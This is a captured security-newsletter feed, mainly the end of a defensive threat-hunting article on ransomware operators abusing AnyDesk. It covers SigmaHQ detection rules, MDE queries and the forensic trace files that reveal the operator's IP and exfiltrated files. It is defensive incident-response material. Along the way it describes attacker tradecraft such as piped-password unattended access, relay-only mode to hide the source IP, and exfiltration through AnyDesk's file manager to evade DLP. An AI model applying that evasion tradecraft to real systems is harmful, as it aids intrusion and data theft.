href="https://substackcdn.com/image/fetch/$s_!suCN!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff98c93f8-952a-4b5d-be22-6705f9a6d2b6_1400x475.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!suCN!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff98c93f8-952a-4b5d-be22-6705f9a6d2b6_1400x475.png 424w, https://substackcdn.com/image/fetch/$s_!suCN!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff98c93f8-952a-4b5d-be22-6705f9a6d2b6_1400x475.png 848w, https://substackcdn.com/image/fetch/$s_!suCN!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff98c93f8-952a-4b5d-be22-6705f9a6d2b6_1400x475.png 1272w, https://substackcdn.com/image/fetch/$s_!suCN!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff98c93f8-952a-4b5d-be22-6705f9a6d2b6_1400x475.png 1456w" sizes="auto, 100vw"><img src="https://substackcdn.com/image/fetch/$s_!suCN!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff98c93f8-952a-4b5d-be22-6705f9a6d2b6_1400x475.png" width="1400" height="475" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f98c93f8-952a-4b5d-be22-6705f9a6d2b6_1400x475.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:475,&quot;width&quot;:1400,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:120541,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://newsletter.securityinbits.com/i/208462644?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff98c93f8-952a-4b5d-be22-6705f9a6d2b6_1400x475.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!suCN!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff98c93f8-952a-4b5d-be22-6705f9a6d2b6_1400x475.png 424w, https://substackcdn.com/image/fetch/$s_!suCN!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff98c93f8-952a-4b5d-be22-6705f9a6d2b6_1400x475.png 848w, https://substackcdn.com/image/fetch/$s_!suCN!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff98c93f8-952a-4b5d-be22-6705f9a6d2b6_1400x475.png 1272w, https://substackcdn.com/image/fetch/$s_!suCN!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff98c93f8-952a-4b5d-be22-6705f9a6d2b6_1400x475.png 1456w" sizes="auto, 100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image buttonBase-GK1x3M"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg" class="icon-noB79L"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image buttonBase-GK1x3M"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2 icon-noB79L"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>If you operationalize only two, take <strong>Piped Password Via CLI</strong> and <strong>Service Installation</strong>: they key on scripted setup rather than anything a user clicks, so once you have excluded your own deployment they belong in the alert queue.</p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://newsletter.securityinbits.com/p/32-ransomware-groups-abuse-anydesk?utm_source=substack&utm_medium=email&utm_content=share&action=share&quot;,&quot;text&quot;:&quot;Share&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://newsletter.securityinbits.com/p/32-ransomware-groups-abuse-anydesk?utm_source=substack&utm_medium=email&utm_content=share&action=share"><span>Share</span></a></p><p>Execution and Temporary Artefact sit at the other end; in a shop with sanctioned AnyDesk they hum constantly, so route them to a hunting view.</p><p>One gap worth knowing: the suspicious-folder rule excludes <code>\AppData\</code>, and <code>%TEMP%</code> lives under <code>\AppData\Local\Temp</code>. In my lab it never fired on the portable scenario, only on the <code>C:\ProgramData</code> install. That blind spot is exactly what the path filter in the first query covers. All seven rules live in the <a href="https://github.com/SigmaHQ/sigma">SigmaHQ repo</a> under <code>rules/windows</code>.</p><p>Sigma and KQL answer the same question: is AnyDesk running here. Neither answers the one you actually need in an incident, which is whether this is your help desk or your attacker.</p><div><hr></div><h2>You found it. Work the host before it is gone.</h2><p>Your queries have put AnyDesk on a specific box, behaving like an operator tool. Detection is done. Everything from here lives on the host, in files AnyDesk writes about itself, and every one of them dies the moment someone reimages the machine. Pull them first.</p><h3>connection_trace.txt: how they got in</h3><p>AnyDesk logs every incoming session to <code>connection_trace.txt</code> (<code>%APPDATA%\AnyDesk\</code> for a portable run, <code>%PROGRAMDATA%\AnyDesk\</code> for the service). Each line records the approval:</p><ul><li><p><code>Passwd</code> or <code>Token</code>: unattended access. Someone set a password, or stored one, so they could come back without asking.</p></li><li><p><code>User</code>: a human clicked Accept.</p></li></ul><p>That field decides your <strong>remediation</strong>: kill a password and a service, or retrain a user and hunt the lure. Same tool, same operator, two entirely different incidents. In my lab the same operator ID hit both hosts, and the two traces tell the two stories in one line each. The portable host: <code>Incoming 2026-06-26, 11:19 User</code>, a person clicked Accept that morning. The service host: <code>Passwd</code> at 15:41, then <code>Token</code> at 15:42, the operator walking in and coming back with nobody at the keyboard.</p><p>What it does not decide on its own is <strong>legitimacy</strong>. Your help desk shows <code>User</code> when they call a user, and a sanctioned rollout shows <code>Passwd</code>. That read is the hunt you already ran:</p><ul><li><p>A renamed binary still carrying AnyDesk&#8217;s PE metadata?</p></li><li><p>One or two hosts instead of the fleet?</p></li><li><p>No change window, no deployment agent as the parent?</p></li></ul><p>Three yeses next to <code>Passwd</code> is not your help desk. Read both together before you write a word of the report.</p><div class="captioned-image-container"><figure><div class="image-link image2" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!eZXs!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F52e78a56-f3eb-47a6-be63-3c30eed65653_1232x292.png 424w, https://substackcdn.com/image/fetch/$s_!eZXs!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F52e78a56-f3eb-47a6-be63-3c30eed65653_1232x292.png 848w, https://substackcdn.com/image/fetch/$s_!eZXs!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F52e78a56-f3eb-47a6-be63-3c30eed65653_1232x292.png 1272w, https://substackcdn.com/image/fetch/$s_!eZXs!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F52e78a56-f3eb-47a6-be63-3c30eed65653_1232x292.png 1456w" sizes="auto, 100vw"><img src="https://substackcdn.com/image/fetch/$s_!eZXs!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F52e78a56-f3eb-47a6-be63-3c30eed65653_1232x292.png" width="1232" height="292" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/52e78a56-f3eb-47a6-be63-3c30eed65653_1232x292.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:292,&quot;width&quot;:1232,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:52940,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://newsletter.securityinbits.com/i/208462644?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F52e78a56-f3eb-47a6-be63-3c30eed65653_1232x292.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!eZXs!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F52e78a56-f3eb-47a6-be63-3c30eed65653_1232x292.png 424w, https://substackcdn.com/image/fetch/$s_!eZXs!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F52e78a56-f3eb-47a6-be63-3c30eed65653_1232x292.png 848w, https://substackcdn.com/image/fetch/$s_!eZXs!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F52e78a56-f3eb-47a6-be63-3c30eed65653_1232x292.png 1272w, https://substackcdn.com/image/fetch/$s_!eZXs!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F52e78a56-f3eb-47a6-be63-3c30eed65653_1232x292.png 1456w" sizes="auto, 100vw" loading="lazy"></picture><div></div></div></div></figure></div><h3>ad.trace: who connected</h3><p>The network telemetry only ever showed you the AnyDesk relay, never the operator, so the SIEM looks like a dead end. It is not. AnyDesk writes the operator&#8217;s source IP to disk itself. Open the trace file, <code>ad.trace</code> (portable) or <code>ad_svc.trace</code> (service), and search for <code>Logged in from</code>:</p><div class="captioned-image-container"><figure><div class="image-link image2" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!gPpB!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26b6f1a6-4c91-401e-b525-dd787f763fb4_1540x253.png 424w, https://substackcdn.com/image/fetch/$s_!gPpB!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26b6f1a6-4c91-401e-b525-dd787f763fb4_1540x253.png 848w, https://substackcdn.com/image/fetch/$s_!gPpB!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26b6f1a6-4c91-401e-b525-dd787f763fb4_1540x253.png 1272w, https://substackcdn.com/image/fetch/$s_!gPpB!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26b6f1a6-4c91-401e-b525-dd787f763fb4_1540x253.png 1456w" sizes="auto, 100vw"><img src="https://substackcdn.com/image/fetch/$s_!gPpB!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26b6f1a6-4c91-401e-b525-dd787f763fb4_1540x253.png" width="1456" height="239" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/26b6f1a6-4c91-401e-b525-dd787f763fb4_1540x253.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:239,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:146535,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://newsletter.securityinbits.com/i/208462644?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26b6f1a6-4c91-401e-b525-dd787f763fb4_1540x253.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!gPpB!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26b6f1a6-4c91-401e-b525-dd787f763fb4_1540x253.png 424w, https://substackcdn.com/image/fetch/$s_!gPpB!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26b6f1a6-4c91-401e-b525-dd787f763fb4_1540x253.png 848w, https://substackcdn.com/image/fetch/$s_!gPpB!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26b6f1a6-4c91-401e-b525-dd787f763fb4_1540x253.png 1272w, https://substackcdn.com/image/fetch/$s_!gPpB!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F26b6f1a6-4c91-401e-b525-dd787f763fb4_1540x253.png 1456w" sizes="auto, 100vw" loading="lazy"></picture><div></div></div></div></figure></div><p><em>The </em><code>Logged in from</code><em> line, straight out of </em><code>ad_svc.trace</code><em> on the victim host.</em></p><p>This is the reliable source: the relay reports the operator&#8217;s egress IP on every login, even when the session never leaves the relay. That IP is the operator&#8217;s infrastructure or egress, a VPS, VPN, or NAT. It is a pivot and block IOC, not attribution to a person.</p><p>There is a second, opportunistic way to the same IP that does not need the file. AnyDesk prefers a direct peer-to-peer link (TCP 7070) and tries to punch straight to the operator&#8217;s public IP before falling back to the relay. When your firewall blocks that punch, the attempt logs as <code>ConnectionFailed</code>, to the operator&#8217;s real IP, in your EDR. Hunt the failures, not the successes.</p><p>The caveat: a careful operator unchecks &#8220;Allow direct connections&#8221; and forces relay-only, and the IP never appears. Strict egress can skip the direct attempt entirely. The trace file is the source you rely on; this is the bonus.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!hx2r!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa52a7ed3-f11f-4ae2-8018-245129e363cd_1602x568.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!hx2r!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa52a7ed3-f11f-4ae2-8018-245129e363cd_1602x568.png 424w, https://substackcdn.com/image/fetch/$s_!hx2r!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa52a7ed3-f11f-4ae2-8018-245129e363cd_1602x568.png 848w, https://substackcdn.com/image/fetch/$s_!hx2r!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa52a7ed3-f11f-4ae2-8018-245129e363cd_1602x568.png 1272w, https://substackcdn.com/image/fetch/$s_!hx2r!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa52a7ed3-f11f-4ae2-8018-245129e363cd_1602x568.png 1456w" sizes="auto, 100vw"><img src="https://substackcdn.com/image/fetch/$s_!hx2r!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa52a7ed3-f11f-4ae2-8018-245129e363cd_1602x568.png" width="1456" height="516" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/a52a7ed3-f11f-4ae2-8018-245129e363cd_1602x568.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:516,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:201534,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://newsletter.securityinbits.com/i/208462644?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa52a7ed3-f11f-4ae2-8018-245129e363cd_1602x568.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!hx2r!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa52a7ed3-f11f-4ae2-8018-245129e363cd_1602x568.png 424w, https://substackcdn.com/image/fetch/$s_!hx2r!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa52a7ed3-f11f-4ae2-8018-245129e363cd_1602x568.png 848w, https://substackcdn.com/image/fetch/$s_!hx2r!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa52a7ed3-f11f-4ae2-8018-245129e363cd_1602x568.png 1272w, https://substackcdn.com/image/fetch/$s_!hx2r!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa52a7ed3-f11f-4ae2-8018-245129e363cd_1602x568.png 1456w" sizes="auto, 100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image buttonBase-GK1x3M"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg" class="icon-noB79L"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image buttonBase-GK1x3M"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2 icon-noB79L"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><em>The </em><code>ConnectionFailed</code><em> hunt: </em><code>anydesk.exe</code><em> 2 attempts on ports 7070/51703, </em><code>invoice_viewer.exe</code><em> 4 attempts on 7070/64004/49439, all to the operator&#8217;s public IP.</em></p><h3>file_transfer_trace.txt: what left</h3><p>AnyDesk has a built-in file manager, and it is a clean exfil channel: no web proxy hit, no email DLP trigger. When a transfer happens, it logs every one to <code>file_transfer_trace.txt</code>, in the same config directory, in plaintext.</p><p>Filename, size, direction, timestamps. Put it against the connection trace and the timeline writes itself: <code>Passwd</code> login at 15:41, and by 15:46 a 231 MiB <code>documents.zip</code> had left the host. Five minutes from unattended access to completed exfil, and the tool documented every step of it. No packet capture needed to prove data walked out.</p><div class="captioned-image-container"><figure><div class="image-link image2" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!W0TI!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5e5777fe-44a6-4da5-9cca-8af2286e682d_1623x146.png 424w, https://substackcdn.com/image/fetch/$s_!W0TI!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5e5777fe-44a6-4da5-9cca-8af2286e682d_1623x146.png 848w, https://substackcdn.com/image/fetch/$s_!W0TI!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5e5777fe-44a6-4da5-9cca-8af2286e682d_1623x146.png 1272w, https://substackcdn.com/image/fetch/$s_!W0TI!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5e5777fe-44a6-4da5-9cca-8af2286e682d_1623x146.png 1456w" sizes="auto, 100vw"><img src="https://substackcdn.com/image/fetch/$s_!W0TI!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5e5777fe-44a6-4da5-9cca-8af2286e682d_1623x146.png" width="1456" height="131" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/5e5777fe-44a6-4da5-9cca-8af2286e682d_1623x146.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:131,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:37204,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://newsletter.securityinbits.com/i/208462644?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5e5777fe-44a6-4da5-9cca-8af2286e682d_1623x146.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!W0TI!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5e5777fe-44a6-4da5-9cca-8af2286e682d_1623x146.png 424w, https://substackcdn.com/image/fetch/$s_!W0TI!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5e5777fe-44a6-4da5-9cca-8af2286e682d_1623x146.png 848w, https://substackcdn.com/image/fetch/$s_!W0TI!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5e5777fe-44a6-4da5-9cca-8af2286e682d_1623x146.png 1272w, https://substackcdn.com/image/fetch/$s_!W0TI!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5e5777fe-44a6-4da5-9cca-8af2286e682d_1623x146.png 1456w" sizes="auto, 100vw" loading="lazy"></picture><div></div></div></div></figure></div><p>You have AnyDesk on one host, carrying its own fingerprints, set up with a piped password (<code>Passwd</code> in the trace), calling an AnyDesk relay, with the operator&#8217;s egress IP on disk and a plaintext receipt for the 231 MiB they took. That is not your help desk. That is a scoped incident with a pivot IOC and an exfil list, collected before the reimage.</p><div><hr></div><h2>Run this before your next shift</h2><p>If your enterprise does not run AnyDesk and you see AnyDesk, that alone is your investigation, so start it. If it does run AnyDesk, the same evidence still sorts legit from planted.</p><p>None of this needs a new product:</p><ul><li><p><strong>Four MDE queries</strong> - identity, rarity, behavior, destination.</p></li><li><p><strong>Seven SigmaHQ rules</strong> you already have.</p></li><li><p><strong>Three files on the host</strong> - <code>connection_trace.txt</code>, <code>ad.trace</code>, <code>file_transfer_trace.txt</code>.</p></li></ul><p>Run the queries before your next shift. If they come back quiet, you have a clean baseline. If they do not, you know exactly what to pull, and in what order, before someone reimages the evidence.</p><p>I have put the full AnyDesk hunt pack in one place, every KQL query here and the SigmaHQ rules I watched fire, so you can lift it in one go: <a href="https://github.com/Securityinbits/defender-hunt-queries/blob/main/anydesk.md">github.com/Securityinbits/defender-hunt-queries</a>.</p><p>That Medium alert will still read &#8220;Uncommon remote access software,&#8221; and the next analyst to see it will still be tempted to think <em>probably IT</em> and close it. The difference is what you do in the ten minutes after. Run the four queries. Read the approval field in <code>connection_trace.txt</code>. You will know whether it was the help desk or the operator before the box gets reimaged.</p><div><hr></div><p>P.S. AnyDesk is the tool most ransomware crews reach for, but not the only one. ScreenConnect and Atera get the same treatment, emulated, validated, and turned into queries, in the next issues.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://newsletter.securityinbits.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading Securityinbits! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://newsletter.securityinbits.com/p/32-ransomware-groups-abuse-anydesk/comments&quot;,&quot;text&quot;:&quot;Leave a comment&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://newsletter.securityinbits.com/p/32-ransomware-groups-abuse-anydesk/comments"><span>Leave a comment</span></a></p><p></p>]]></content:encoded></item><item><title><![CDATA[Detecting Reverse SSH SOCKS Tunnels: Separating Benign -R From Akira Pivoting]]></title><description><![CDATA[Two of these three ssh.exe -R sessions are benign. The telemetry that separates them, and the one case it can't.]]></description><link>https://newsletter.securityinbits.com/p/detecting-reverse-ssh-socks-tunnels</link><guid isPermaLink="false">https://newsletter.securityinbits.com/p/detecting-reverse-ssh-socks-tunnels</guid><dc:creator><![CDATA[Ayush Anand]]></dc:creator><pubDate>Wed, 17 Jun 2026 13:02:03 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/36cc8427-3ead-47a9-a91c-fe45982e257b_1200x630.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>You found <code>ssh.exe</code> running on a workstation, saw the <code>-R</code>, and thought: just a 